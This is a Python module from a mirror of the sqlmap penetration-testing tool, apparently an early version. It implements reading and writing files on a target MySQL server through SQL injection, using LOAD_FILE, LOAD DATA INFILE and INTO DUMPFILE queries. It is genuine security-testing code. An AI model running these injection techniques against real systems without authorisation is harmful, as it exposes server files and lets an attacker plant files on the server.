mirror of
https://github.com/sqlmapproject/sqlmap.git
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131 lines
4.9 KiB
Python
131 lines
4.9 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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from lib.core.common import singleTimeWarnMessage
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from lib.core.common import randomStr
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.enums import PLACE
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from lib.core.exception import sqlmapNoneDataException
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from lib.request import inject
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from lib.techniques.union.use import unionUse
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from plugins.generic.filesystem import Filesystem as GenericFilesystem
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class Filesystem(GenericFilesystem):
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def __init__(self):
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GenericFilesystem.__init__(self)
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def unionReadFile(self, rFile):
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
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return result
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def stackedReadFile(self, rFile):
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
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self.getRemoteTempPath()
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tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
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debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
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debugMsg += "into temporary file '%s'" % tmpFile
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logger.debug(debugMsg)
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inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
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debugMsg = "loading the content of hexadecimal encoded file "
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debugMsg += "'%s' into support table" % rFile
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logger.debug(debugMsg)
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inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
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length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
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if length is None or not length.isdigit() or not len(length) or length in ( "0", "1" ):
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errMsg = "unable to retrieve the content of the "
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errMsg += "file '%s'" % rFile
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raise sqlmapNoneDataException, errMsg
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length = int(length)
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sustrLen = 1024
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if length > sustrLen:
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result = []
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for i in range(1, length, sustrLen):
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chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
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result.append(chunk)
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else:
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result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
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return result
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def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
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logger.debug("encoding file to its hexadecimal string value")
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fcEncodedList = self.fileEncode(wFile, "hex", True)
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fcEncodedStr = fcEncodedList[0]
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fcEncodedStrLen = len(fcEncodedStr)
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if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
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warnMsg = "the injection is on a GET parameter and the file "
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warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
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warnMsg += "bytes, this might cause errors in the file "
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warnMsg += "writing process"
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logger.warn(warnMsg)
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debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
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logger.debug(debugMsg)
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sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
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unionUse(sqlQuery, unpack=False)
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if confirm:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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warnMsg = "expect junk characters inside the "
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warnMsg += "file as a leftover from UNION query"
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singleTimeWarnMessage(warnMsg)
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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debugMsg = "creating a support table to write the hexadecimal "
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debugMsg += "encoded file to"
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logger.debug(debugMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
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logger.debug("encoding file to its hexadecimal string value")
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fcEncodedList = self.fileEncode(wFile, "hex", False)
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debugMsg = "forging SQL statements to write the hexadecimal "
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debugMsg += "encoded file to the support table"
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logger.debug(debugMsg)
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sqlQueries = self.fileToSqlQueries(fcEncodedList)
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logger.debug("inserting the hexadecimal encoded file to the support table")
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for sqlQuery in sqlQueries:
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inject.goStacked(sqlQuery)
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debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
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logger.debug(debugMsg)
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
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inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
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if confirm:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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